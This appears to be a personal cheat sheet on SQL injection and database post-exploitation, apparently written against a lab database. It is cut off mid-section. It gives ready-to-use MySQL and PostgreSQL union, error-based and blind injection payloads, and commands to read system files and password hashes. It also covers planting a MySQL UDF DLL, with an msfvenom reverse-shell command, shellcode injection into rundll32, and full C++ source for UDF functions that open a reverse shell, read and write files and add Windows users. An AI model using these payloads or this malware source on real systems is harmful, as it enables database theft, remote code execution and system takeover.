```
<h3>Sample Usage</h3>
- Extract table names from sampledb schema
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT 1,2,3,4,GROUP_CONCAT(0x7c,TABLE_NAME,0x7c) FROM information_schema.tables WHERE TABLE_SCHEMA='sampledb';
```
> 
<h3>Why this works</h3>
- We extracted schema names from the previous section which we can leverage to enumerate table names within the schema.
<h3>Why it matters</h3>
- Knowing the table names allows us to extract column names of the tables using the same method.
<h2>Finding Out Column Names</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT 1,2,3,...,GROUP_CONCAT(0x7c,COLUMN_NAME,0x7c) FROM information_schema.columns WHERE table_name='<your_table_name>';
```
<h3>Sample Usage</h3>
- Extract column names from order_items table.
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT 1,2,3,4,GROUP_CONCAT(0x7c,COLUMN_NAME,0x7c) FROM information_schema.columns WHERE table_name='order_items';
```
> 
<h3>Why this works</h3>
- From the previous table names we extracted, we can use the same method to enumerate the column names.
<h3>Why it matters</h3>
- Knowing specific column names allows us to enumerate our target data better.
<h2>Extracting All Columns Data</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT 1,2,3,...,GROUP_CONCAT(0x7c,<your_column_name>,0x7c) FROM `<your_table_schema>`.<your_table_name>;
```
<h3>Sample Usage</h3>
- Extracting all data from the `description` column of the `products` table
```sql
UNION SELECT 1,2,3,4,GROUP_CONCAT(0x7c,description,0x7c) FROM `sampledb`.products;
```
> 
<h3>Why this works</h3>
- Knowing column name, table name, and table schema allows us to target the specific column and extract all data from it using `GROUP_CONCAT()`.
<h3>Why it matters</h3>
- The extracted data might contain valuable information for us.
<h2>Extract Column Names Without information_schema</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT * FROM (SELECT * FROM `<your_schema_name>`.<your_table_name JOIN `<your_schema_name>`.<your_table_name> tmp1 USING(<extracted_column_name>)) tmp;
```
<h3>Sample Usage</h3>
- Extracted the first column name: product_id
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT * FROM (SELECT * FROM `sampledb`.products JOIN `sampledb`.products tmp1) tmp;
```
> 
- Extracted the second column name: product_name
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT * FROM (SELECT * FROM `sampledb`.products JOIN `sampledb`.products tmp1 USING(product_id)) tmp;
```
> 
- Extracted the third column name: description
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT * FROM (SELECT * FROM `sampledb`.products JOIN `sampledb`.products tmp1 USING(product_id, product_name)) tmp;
```
> 
<h3>Why this works</h3>
- Intentionally write a query to join a table with itself.
- The `JOIN` uses the same columns, triggering duplicate column error.
- We must use `tmp1` to avoid the 1066 Error Code (Not unique table/alias) by copying the necessary field into a temporary table.
- `tmp` is used because every derived table must have its own alias, just a MySQL syntax.
<h3>Why it matters</h3>
- This allows us to have an alternative of extracting column names without information_schema.
<h2>Extract Data Without Column Names</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT `<column_number>` FROM (SELECT 1,2,... UNION SELECT * FROM `<table_schema>`.<table_name>) tmp;
```
<h3>Sample Usage</h3>
- Extracted the 2nd column data (order_id)
```sql
UNION SELECT `2` FROM (SELECT 1,2,3,4,5 UNION SELECT * FROM `sampledb`.order_items) tmp;
```
> 
<h3>Why this works</h3>
- `UNION` requires matching column counts, so the column number must be exact.
- Tells MySQL to create a derived table called tmp
```sql
(SELECT 1,2,3,4,5 UNION SELECT * FROM `sampledb`.order_items) tmp;
```
> SELECT 1,2,3,4,5 is a dummy query to set the column count and structure
> We then append the rest of the query result afterwards.
- Then we can do select from the derived table.
<h3>Why it matters</h3>
- This allows us to have an alternative of extracting data without knowing the exact column names.
<h1>MySQL SQLi: Error-based</h1>
<h2>UpdateXML(xml, xpath, new_value)</h2>
<h3>Injection Syntax</h3>
```sql
AND updatexml(1, concat(0x7e, (<your_sql_query>), 0x7e), null);
```
<h3>Sample Usage</h3>
- Extract DB Version
```sql
SELECT order_id FROM `sampledb`.order_items WHERE order_id='1'
AND updatexml(1, concat(0x7e, (version()), 0x7e), null);
```
> 
- Extract DB Schema Names
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='10'
AND updatexml(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 3,1), 0x7e), null);
```
> 
- Extract table names within the schema
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='sampledb' LIMIT 1,1), 0x7e), null);
```
> 
- Extract column names within a table
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='orders' LIMIT 1,1), 0x7e), null);
```
> 
- Extract data from column
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND updatexml(1, concat(0x7e, (SELECT user_id FROM `sampledb`.orders LIMIT 1,1), 0x7e), null);
```
> 
<h3>Why this works</h3>
- `XPATH` is used within the `ExtractValue()` and `UpdateXML()` functions.
- These functions are used to query/manipulate XML data stored in strings.
- We cause an error by injecting an invalid `XPATH`, where the error message will show what we injected.
- One way of creating an invalid XPATH is injecting `~` character.
- `LIMIT n, 1` allows us to determine the data offset on which query we want to fetch, since we can only fetch one query at a time.
<h3>Why it matters</h3>
- Works to bypass certain WAFs like UNION SELECT, etc.
<h2>ExtractValue(xml, xpath)</h2>
<h3>Injection Syntax</h3>
```sql
AND extractvalue(rand(), concat(0x7e, (<your_sql_query>), 0x7e));
```
<h3>Sample Usage</h3>
- Extract DB Version
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND extractvalue(rand(), concat(0x7e, (version()), 0x7e));
```
> 
- Extract DB Schema Names
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
OR extractvalue(rand(), concat(0x7e, (SELECT concat(SCHEMA_NAME) FROM information_schema.schemata LIMIT 3,1)));
```
> 
- Extract table names within the schema
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND extractvalue(rand(), concat(0x7e, (SELECT concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema='sampledb' LIMIT 2,1)));
```
> 
- Extract column names within a table
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND extractvalue(rand(), concat(0x7e, (SELECT concat(COLUMN_NAME) FROM information_schema.columns WHERE table_name='products' LIMIT 1,1)));
```
> 
- Extract data from column
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND extractvalue(rand(), concat(0x7e, (SELECT product_name FROM `sampledb`.products LIMIT 1,1)));
```
> 
<h3>Why this works</h3>
- `XPATH` is used within the `ExtractValue()` and `UpdateXML()` functions.
- These functions are used to query/manipulate XML data stored in strings.
- We cause an error by injecting an invalid `XPATH`, where the error message will show what we injected.
- `LIMIT n, 1` allows us to determine the data offset on which query we want to fetch, since we can only fetch one query at a time.
<h3>Why it matters</h3>
- Works to bypass certain WAFs like UNION SELECT, etc.
<h1>MySQL SQLi: Blind-based</h1>
<h2>Substring Equivalent</h2>
<h3>Injection Syntax</h3>
```sql
AND SUBSTRING(VERSION(),1,1) = '8';
AND RIGHT(LEFT(VERSION(), 1), 1) = '8';
AND LEFT(VERSION(), 1) = '8';
AND ASCII(LOWER(SUBSTR(VERSION(), 1, 1))) = '56';
AND ASCII(LOWER(SUBSTR(VERSION(), 1, 2))) = '56, 46';
AND (SELECT MID(VERSION(), 1,1) = '8');
```
<h3>Sample Usage</h3>
- DB Version starts from '8'
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND SUBSTRING(VERSION(),1,1) = '5';
```
> 
> 
- Take the leftmost character of version and take the rightmost character of that single character (itself)
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND RIGHT(LEFT(VERSION(), 1), 1) = '5';
```
> 
> 
- Take the leftmost character of the DB Version
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND LEFT(VERSION(), 1) = '5';
```
> 
> 
- Take the leftmost character of version, convert to lower-case and ASCII
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND ASCII(LOWER(SUBSTR(VERSION(), 1, 1))) = '53';
```
> 
> 
- `MID()` is an alias for `SUBSTR()`
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND (SELECT MID(VERSION(), 1,1) = '6');
```
> 
> 
<h3>Why this works</h3>
- If our comparison is true, the database will return results (if the queried data exists).
- We can tell whether our substring statement is true/false from these behaviors.
- Some similar functions:
```sql
FIND_IN_SET('2a', HEX(MID(password, 1,3))) = 1
ORD(MID(password, 1, 1)) = 42
POSITION(0x2a in password) = 1
LOCATE(0x2a, password) = 1
regexp'[*]'
like '*'
rlike '[*]'
```
<h3>Why it matters</h3>
- Allows us to derive certain information if we know some of its characters.
<h2>Conditional Statements</h2>
<h3>Injection Syntax</h3>
```sql
IF(condition, do_true, do_false);
```
<h3>Sample Usage</h3>
- DB Version starts from '5'
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
OR IF(MID(@@VERSION, 1,1) = '5', sleep(5), 1);
```
> 
> *Sleeps for 5 seconds*
>
> 
<h3>Why this works</h3>
- Given an invalid query, the SQL query proceeds to the next `OR`
- If the version starts from '5', it sleeps for 5 seconds.
- Else, it will return 1, and the FrameworkID will be returned because 1 evaluates to TRUE.
<h3>Why it matters</h3>
- Allows us to derive certain information from conditions.
<h2>MAKE_SET()</h2>
<h3>Injection Syntax</h3>
```sql
MAKE_SET(<condition_evaluating_to_1>, 1);
```
<h3>Sample Usage</h3>
- DB Version has more than 3 characters but less than 6 characters
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND MAKE_SET(6 < (SELECT(length(version()))), 1);
```
> 
> 
- DB Version starts with character within 52 < char < 57
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
AND MAKE_SET(52 < ASCII(SUBSTRING(VERSION(), 1, 1)), 1);
```
> 
> 
<h3>Why this works</h3>
- `MAKE_SET(1, 1)` will result in 1, which evaluates to TRUE.
- `MAKE_SET(0, 1)` will result in 0, which evaluates to FALSE.
- Therefore, to get 1 and in the end get a valid query result, our stated condition must be `TRUE`.
- `SELECT ... AND 1` will return a valid result.
- Step by Step Explanation:
- `MAKE_SET(10 < (SELECT(length('8.0.26-google'))), 1);`
- `MAKE_SET(10 < (SELECT(14)), 1);`
- `MAKE_SET(10 < 14, 1);`
- `MAKE_SET(1, 1);`
- 1
<h3>Why it matters</h3>
- Allows us to derive certain information from conditions.
<h2>The <> Operator</h2>
<h3>Injection Syntax</h3>
```sql
AND 1<>1
```
<h3>Sample Usage</h3>
```sql
SELECT order_id FROM `sampledb`.order_items
WHERE order_id='1'
AND 1<>2;
```
```sql
SELECT order_id FROM `sampledb`.order_items
WHERE order_id='1'
AND 1<>2;
```
<h3>Why this works</h3>
- `<>` is a not equal operator.
- It is equivalent to `!=`.
- If column value could be NULL, consider using `<=>`
```sql
SELECT 1 <=> 1 -- TRUE
SELECT 1 <=> 2 -- FALSE
SELECT NULL <=> NULL -- TRUE
SELECT NULL <=> 1 -- FALSE
```
<h3>Why it matters</h3>
It could be useful under cases like this
```sql
' OR (SELECT IF(SUBSTRING(password,1,1) <> 'a', SLEEP(2), 0)) --
```
> If the first letter of `password` is not 'a', it sleeps for 2 seconds, otherwise returns 0.
<h1>MySQL: Writing Files into the Server</h1>
<h2>LOAD_FILE INTO DUMPFILE</h2>
1. Writing a file into a specific directory
```sql
SELECT LOAD_FILE('C:\\Users\\Administrator\\Downloads\\test.dll')
INTO DUMPFILE 'C:\\Users\\Administrator\\Desktop\\test.dll';
```
<h1>MySQL: UDF</h1>
<h2>Open Source UDF</h2>
1. Check MySQL's architecture
```sql
SELECT @@version_compile_os, @@version_compile_machine;
```
```sql
SHOW VARIABLES LIKE '%compile%';
```
2. Download the corresponding .dll file (Windows) based on the architecture
- Mine works with:
- https://github.com/yanghaoi/lib_mysqludf_sys?tab=readme-ov-file
- Others to explore:
- https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
3. Find out the upload location.
- Starting from MySQL 5.0.67 the UDF library must be contained in the plugin folder
```sql
SELECT @@plugin_dir;
```
```sql
SHOW VARIABLES LIKE 'plugin%';
```
> Prior to MySQL 4.1.25, the DLL can be uploaded to
> - @@datadir
> - @@basedir\bin
> - C:\Windows
> - C:\Windows\System
> - C:\Windows\System32
4. Upload your DLL to the plugin folder
- The above github repository generates a .sql file for you upon executing the python script
- Clone the repository
```git
git clone https://github.com/yanghaoi/lib_mysqludf_sys.git
```
- cd into the folder
```
cd lib_mysqludf_sys
```
- Execute python script
```python
python udf_Bin2Hex.py 1 Release\lib_mysqludf_sys_x64.dll "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\lib_mysqludf_sys_x64.dll" > lib_mysqludf_sys_x64.sql
```
- Execute the SQL command that was generated
```sql
select unhex(BINARY "4d5a90...000") into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\lib_mysqludf_sys_x64.dll";
```
- If you need to upload a DLL manually
```sql
SELECT LOAD_FILE('C:\\Downloads\\lib_mysqludf_sys_32.dll') INTO DUMPFILE "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
```
> No rows are actually affected, just one file is successfully written into the disk.
5. Check the existence of the file
6. Create the functions
- sys_exec
```sql
CREATE function sys_exec returns string soname "lib_mysqludf_sys_x64.dll";
```
- download
```sql
CREATE function download returns string soname "lib_mysqludf_sys_x64.dll";
```
7. Run the UDF functions
- sys_exec
- whoami
```sql
SELECT CAST(sys_exec('whoami', '1') AS CHAR);
```
- ipconfig
```sql
SELECT CAST(sys_exec('ipconfig', '1') AS CHAR);
```
- download
- Download a sample DLL to local machine
```sql
SELECT download("https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/mysql/lib_mysqludf_sys_32.dll", "C:\\sample.dll");
```
- inject
- Create .bin payload using msfvenom
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8989 -f raw -o shellcode.bin
```
- Transfer to a location readable by MySQL
- Run the inject command with LOAD_FILE and HEX
```sql
SELECT CAST(inject(HEX(LOAD_FILE("C:\\shellcode.bin")), "rundll32.exe") AS CHAR);
```
<h2>My UDF Implementation</h2>
<h3>Features</h3>
1. Load the UDF DLL
```sql
CREATE function sys_exec returns string soname "my_udf.dll";
```
2. Help Command
```sql
SELECT CAST(sys_exec('help', '1') AS CHAR);
```
3. Port Check Function
```sql
SELECT CAST(sys_exec('port_check 10.180.11.30 1521', '1') AS CHAR);
```
4. Reverse Shell Function
```sql
SELECT sys_exec('rev_shell 127.0.0.1 8888', '1');
```
5. Read File
```sql
SELECT CAST(read_file('C:\\test_udf_read.txt') AS CHAR);
```
6. Write File
```sql
SELECT CAST(write_file('C:\\test_udf_write.txt', "Written by UDF") AS CHAR);
```
7. Add User
```sql
SELECT CAST(add_user("udf_user", "password") AS CHAR);
```
<h3>A look into the source code</h3>
<h4>Port Scan</h4>
```C++
// Port check helper
char* port_check(const char* ip, int port) {
WSADATA wsaData; // structure to store info about Windows Socket implementation, used for WSAStartup
SOCKET sock = INVALID_SOCKET; // socket variable to hold the TCP connection
struct sockaddr_in server_addr;
static char retbuf[256] = { 0 };
// MAKEWORD(2, 2) specifies Winsock version 2.2
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { // initializes Winsock
return "[-] WSAStartup failed.";
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // creates a TCP socket using IPv4 (AF_INET)
if (sock == INVALID_SOCKET) {
WSACleanup();
return "[-] Socket creation failed.";
}
// sets the destination IP and port
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, ip, &server_addr.sin_addr); // converts the IP address to numeric binary values
int result = connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)); // tries to connect to the given IP and port
// closes the socket and does cleanup
closesocket(sock);
WSACleanup();
// returns a message based on the result of the connection
if (result == 0) {
return "[+] Port is open.";
}
else {
return "[-] Port is closed or unreachable.";
}
}
```
<h4>Reverse Shell</h4>
```C++
// Reverse shell helper
// Winsock: Windows-specific implementation of sockets, allowing two programs to talk to each other over TCP/IP
char* reverse_shell(const char* ip, int port) {
WSADATA wsaData; // structure to store info about Windows Socket implementation, used for WSAStartup
SOCKET sock = INVALID_SOCKET;
struct sockaddr_in server_addr;
STARTUPINFOA si; //controls how the cmd.exe is launched
PROCESS_INFORMATION pi;
char cmd[] = "cmd.exe";
static char retbuf[256] = { 0 };
// MAKEWORD(2, 2) specifies Winsock version 2.2
// WSAStartup expects a WORD. MAKEWORD(2, 2) == 0x0202
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { // initializes the Winsock library
return "[-] WSAStartup failed.";
}
// creates a TCP socket
// AF_INET: IPv4, SOCK_STREAM: TCP
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
WSACleanup(); // cleans up and exits on failure
return "[-] Socket creation failed.";
}
// sets the attacker's address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, ip, &server_addr.sin_addr); // converts IPv4 or IPv6 string to numeric binary form
// attempts to connect to the remote IP and port
if (connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return "[-] Connect failed.";
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES; // tells Windows to use custom I/O handles
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock; // sets all input/output/error streams to the socket: key to remote shell
// Creates a cmd.exe process, talks over to the socket because of si
if (!CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
closesocket(sock);
WSACleanup();
return "[-] CreateProcess failed.";
}
// clean up: close unused handles
// Keep socket open, leaving the live shell connection to the attacker
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return "[+] Reverse shell started.";
}
```
<h4>Read File</h4>
```C++
extern "C" __declspec(dllexport)
my_bool read_file_init(MSXU_INIT* initid, MSXU_ARGS* args, char* message)
{
initid->max_length = 65 * 1024 * 1024;
return 0;
}
extern "C" __declspec(dllexport)
char* read_file(MSXU_INIT* initd, MSXU_ARGS* args, char* result, unsigned long* length, char* is_null, char* error) {
initd->ptr = (char*)malloc(65536); // max file size 64KB
// validate the user's input
if (!initd->ptr || args->arg_count != 1 || args->arg_type[0] != STRING_RESULT)
return NULL;
FILE* file = nullptr;
fopen_s(&file, args->args[0], "rb");
if (!file) { // if the file does not exist, return error string to MySQL
strcpy_s(initd->ptr, 256, "[-] Failed to open file.");
*length = strlen(initd->ptr);
return initd->ptr;
}
size_t read = fread(initd->ptr, 1, 65535, file); // read the file contents and assign its content to initd->ptr
fclose(file);
initd->ptr[read] = '\0';
*length = (unsigned long)read;
return initd->ptr;
}
extern "C" __declspec(dllexport)
void read_file_deinit(MSXU_INIT* initid)
{
if (initid->ptr)
free(initid->ptr);
}
```
<h4>Write File</h4>
```C++
extern "C" __declspec(dllexport)
my_bool write_file_init(MSXU_INIT* initid, MSXU_ARGS* args, char* message)
{
initid->max_length = 65 * 1024 * 1024;
return 0;
}
extern "C" __declspec(dllexport)
char* write_file(MSXU_INIT* initd, MSXU_ARGS* args, char* result, unsigned long* length, char* is_null, char* error) {
initd->ptr = (char*)malloc(256); // memory allocation
// user input validity checks
if (!initd->ptr || args->arg_count != 2 || args->arg_type[0] != STRING_RESULT || args->arg_type[1] != STRING_RESULT)
return NULL;
FILE* file = nullptr; // initialize file variable
fopen_s(&file, args->args[0], "wb"); // open user-supplied file
if (!file) {
strcpy_s(initd->ptr, 256, "[-] Failed to open file.");
*length = strlen(initd->ptr);
return initd->ptr;
}
fwrite(args->args[1], 1, strlen(args->args[1]), file); // write the file contents
fclose(file);
strcpy_s(initd->ptr, 256, "[+] File written.");
*length = strlen(initd->ptr);
return initd->ptr;
}
extern "C" __declspec(dllexport)
void write_file_deinit(MSXU_INIT* initid)
{
if (initid->ptr)
free(initid->ptr);
}
```
<h4>Add User</h4>
```C++
extern "C" __declspec(dllexport)
my_bool add_user_init(MSXU_INIT* initid, MSXU_ARGS* args, char* message)
{
initid->max_length = 65 * 1024 * 1024;
return 0;
}
extern "C" __declspec(dllexport)
char* add_user(MSXU_INIT* initd, MSXU_ARGS* args, char* result, unsigned long* length, char* is_null, char* error) {
initd->ptr = (char*)malloc(256); // memory allocation
// validate user input
if (!initd->ptr || args->arg_count != 2 || args->arg_type[0] != STRING_RESULT || args->arg_type[1] != STRING_RESULT)
return NULL;
char cmd[256];
StringCchPrintfA(cmd, 256, "net user %s %s /add", args->args[0], args->args[1]); // insert username to command
int ret = system(cmd); // execute command in cmd
if (ret == 0) { // if success, return success message
strcpy_s(initd->ptr, 256, "[+] User created.");
}
else { // else return failed message string
strcpy_s(initd->ptr, 256, "[-] Failed to create user.");
}
*length = strlen(initd->ptr);
return initd->ptr; // return the result to MySQL
}
extern "C" __declspec(dllexport)
void add_user_deinit(MSXU_INIT* initid)
{
if (initid->ptr)
free(initid->ptr);
}
```
<h3>Full List of Custom UDF Usage</h3>
```sql
-- SHOW VARIABLES LIKE 'plugin_dir';
-- SELECT @@datadir;
-- C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\
-- create function sys_exec returns string soname "my_udf_v2.dll";
-- create function read_file returns string soname "my_udf_v2.dll";
-- create function write_file returns string soname "my_udf_v2.dll";
-- create function add_user returns string soname "my_udf_v2.dll";
-- create function download returns string soname "my_udf_v2.dll";
-- create function inject returns string soname "my_udf_v2.dll";
-- SELECT CAST(sys_exec('help', '1') AS CHAR);
-- Help
-- 1.GetReturn: select sys_exec("whoami","1");
-- 2.NoReturn: select sys_exec("C:\beacon.exe","any");
-- 3.rev_shell <ip> <port>: reverse shell;
-- 4.port_check <ip> <port>: check port;
-- 5. select read_file("C:\beacon.txt");
-- 6. select write_file(\"C:\\beacon.txt\", \"Hello from UDF\");
-- 7. select add_user(\"username\", \"password\");
-- 8. select inject(\"<hex_encoded_schellcode>\", \"<target_process>\");
-- 9. select download(\"http://url/file.png\",\"C:\\\\winnt\\\\system32\\\\ser.exe\");
-- SELECT CAST(sys_exec('whoami', '1') AS CHAR);
-- SELECT CAST(sys_exec('port_check 10.180.11.30 1521', '1') AS CHAR);
-- SELECT sys_exec('rev_shell 127.0.0.1 8889', '1');
-- SELECT CAST(read_file('C:\\test_udf_read.txt') AS CHAR);
-- SELECT CAST(write_file('C:\\test_udf_write.txt', "Written by UDF") AS CHAR);
-- SELECT CAST(add_user("udf_user", "password") AS CHAR);
-- SELECT CAST(download("https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/mysql/lib_mysqludf_sys_32.dll", "C:\\sample1.dll") AS CHAR);
-- SELECT CAST(inject(HEX(LOAD_FILE("C:\\shellcode.bin")), 'rundll32.exe') AS CHAR);
-- drop function sys_exec;
-- drop function download;
-- drop function inject;
-- drop function read_file;
-- drop function write_file;
-- drop function add_user;
```
<h3>Compiling The Code</h3>
1. Right click on the C++ file and select Properties.
2. Configuration Properties --> C/C++ --> Precompiled Headers.
3. Set the Precompiled Headers to `Not Using Precompiled Headers`
4. Build the solution as per usual.
<h1>PostgreSQL: Basics</h1>
<h2>Docker Setup</h2>
1. Pull Docker image
```
docker run --name pg-lab -e POSTGRES_PASSWORD=labpass -p 5432:5432 -d postgres:13
```
2. Docker exec
```
docker exec -it pg-lab psql -U postgres
```
> postgres::password
3. Create the Database
```
CREATE DATABASE lobtest;
```
4. Use the Database
```
\c lobtest
```
5. Create Table
```
CREATE TABLE files (
id SERIAL PRIMARY KEY,
description TEXT,
file_oid OID
);
```
<h2>Common commands</h2>
1. Enumerating existing databases
```sql
\l
```
2. Enumerating database users
```sql
\du
```
3. Enumerating database tables
```sql
\dt
```
4. Retrieving table contents
```sql
SELECT * FROM users;
```
5. Retrieving database passwords
```sql
SELECT usename, passwd FROM pg_shadow;
```
6. Dumping database contents
```
pg_dump --host 127.0.0.1 --username=postgres --password --dbname=lobtest --table='files' -f output_pgdump
```
<h1>PostgreSQL SQLi: Error Based</h1>
<h2>Show Database Version</h2>
<h3>Injection Syntax</h3>
```sql
1=CAST(CHR(126)||VERSION()||CHR(126) AS NUMERIC);
```
<h3>Sample Usage</h3>
- AND (valid ID)
```sql
SELECT file_oid FROM files WHERE id=1 AND 1=CAST(CHR(126)||VERSION()||CHR(126) AS NUMERIC);
```
- OR (invalid ID)
```sql
SELECT file_oid FROM files WHERE id=0 OR 1=CAST(CHR(126)||VERSION()||CHR(126) AS NUMERIC);
```
<h3>Why this works</h3>
When the `value` fails to be converted into the `target_type`, PostgreSQL throws an error specifying the value.
<h3>Background Knowledge</h3>
`CAST()` is used to convert one data type to another.
A string needs to be able to be converted to numeric and vice versa, similar with other data types.
Syntax:
```sql
SELECT CAST(value AS target_type);
```
Sample:
```sql
SELECT CAST('123' AS NUMERIC);
```
```sql
SELECT CAST(1 AS TEXT);
```
<h2>Enumerate Tables</h2>
<h3>Injection Syntax</h3>
```sql
1=CAST(CHR(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET <your_offset>)||CHR(126) AS NUMERIC);
```
<h3>Sample Usage</h3>
```sql
SELECT file_oid FROM files WHERE id=1 AND 1=CAST(CHR(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0)||CHR(126) AS NUMERIC);
```
<h3>Why this works</h3>
We added the `~` character, causing casting to always fail and leaking the error message.
<h3>Background Knowledge</h3>
As stated above in the version leakage section.
<h2>Enumerate Columns Within A Table</h2>
<h3>Injection Syntax</h3>
```sql
1=CAST(CHR(126)||(SELECT column_name FROM information_schema.columns WHERE table_name=<your_table_name> LIMIT 1 OFFSET <your_offset>)||CHR(126) AS NUMERIC);
```
<h3>Sample Usage</h3>
```sql
SELECT file_oid FROM files WHERE id=1 AND 1=CAST(CHR(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='files' LIMIT 1 OFFSET 0)||CHR(126) AS NUMERIC);
```
<h3>Why this works</h3>
Given the table names enumerated above, we can use this information to specifically query the table's column names.
<h3>Background Knowledge</h3>
As stated above in the version leakage section.
<h2>Enumerate Data In Each Table's Column</h2>
<h3>Injection Syntax</h3>
```sql
1=CAST(CHR(126)||(SELECT <your_column_name> FROM <your_table_name> LIMIT 1 OFFSET <your_offset>)||CHR(126) AS NUMERIC);
```
<h3>Sample Usage</h3>
```sql
SELECT file_oid FROM files WHERE id=1 AND 1=CAST(CHR(126)||(SELECT id FROM files LIMIT 1 OFFSET 0)||CHR(126) AS NUMERIC);
```
<h3>Why this works</h3>
Given the table names and column names enumerated above, we can use these information to specifically query the column values.
<h3>Background Knowledge</h3>
As stated above in the version leakage section.
<h1>PostgreSQL SQLi: Blind Based</h1>
<h2>Substring Method</h2>
<h3>Injection Syntax</h3>
```sql
AND SUBSTR(substr, offset, char_num) = '<your_value>';
```
<h3>Sample Usage</h3>
```sql
SELECT file_oid FROM files WHERE id=1 AND SUBSTR(VERSION(),1,10) = 'PostgreSQL';
```
<h3>Why this works</h3>
Takes the first 10 characters of the Database version, and we can use it to determine whether our assumption is true or false.
<h2>LEFT/RIGHT Method</h2>
<h3>Injection Syntax</h3>
```sql
AND LEFT(substr, n) = '<your_value>';
AND RIGHT(substr, n) = '<your_value>';
```
<h3>Sample Usage</h3>
<h4>LEFT</h4>
```sql
SELECT file_oid FROM files WHERE id=1 AND LEFT(VERSION(),10) = 'PostgreSQL';
```
<h4>RIGHT</h4>
```sql
SELECT file_oid FROM files WHERE id=1 AND RIGHT(VERSION(),3) = 'bit';
```
<h3>Why this works</h3>
Takes the leftmost/rightmost characters of the Database version, and we can use it to determine whether our assumption is true or false.
<h2>POSITION Method</h2>
<h3>Injection Syntax</h3>
```sql
AND POSITION('<your_character>' IN '<your_string>') > 0;
```
<h3>Sample Usage</h3>
```sql
SELECT file_oid FROM files WHERE id=1 AND POSITION('a' IN (SELECT VERSION())) > 0;
```
<h3>Why this works</h3>
If the character exists in the string, it returns the position of the character in numeric value. With the value greater than 0, we know that the character exists.
<h1>PostgreSQL: Command Execution</h1>
<h2>List directory's files</h2>
<h3>Syntax</h3>
```sql
SELECT pg_ls_dir('<your_directory_path>');
```
<h3>Sample Usage</h3>
```sql
SELECT pg_ls_dir('/var');
```
<h2>Read File Contents</h2>
<h3>Syntax</h3>
```sql
SELECT pg_read_file(file, offset, length);
```
<h3>Sample Usage</h3>
```sql
SELECT pg_read_file('/etc/passwd', 0, 1000);
```
<h2>Read File Contents via temp Table</h2>
<h3>Syntax</h3>
```sql
COPY <your_table_name> FROM '<your_file_name>';
```
<h3>Sample Usage</h3>
- One TEXT column
Create the temp table with one TEXT column
```sql
CREATE TABLE temp(t TEXT);
```
Copy the file contents to the table;
```sql
COPY temp FROM '/etc/passwd';
```
Select the table columns to view the contents.
```sql
SELECT * FROM temp limit 1 offset 0;
```
- Two TEXT columns
Create the temp table with two TEXT columns
```sql
CREATE TABLE temp(a TEXT, b TEXT);
```
Copy the file contents to the table;
```sql
COPY temp FROM '/etc/hosts';
```
Select the table columns to view the contents.
```sql
SELECT * FROM temp limit 1 offset 0;
```
<h2>Write Files</h2>
<h3>Syntax</h3>
```sql
COPY table_name(column_name) TO '<file_destination>'
```
<h3>Sample Usage</h3>
Create a table for storing the contents
```sql
CREATE TABLE write_file(t TEXT);
```
Insert the file contents into the table
```sql
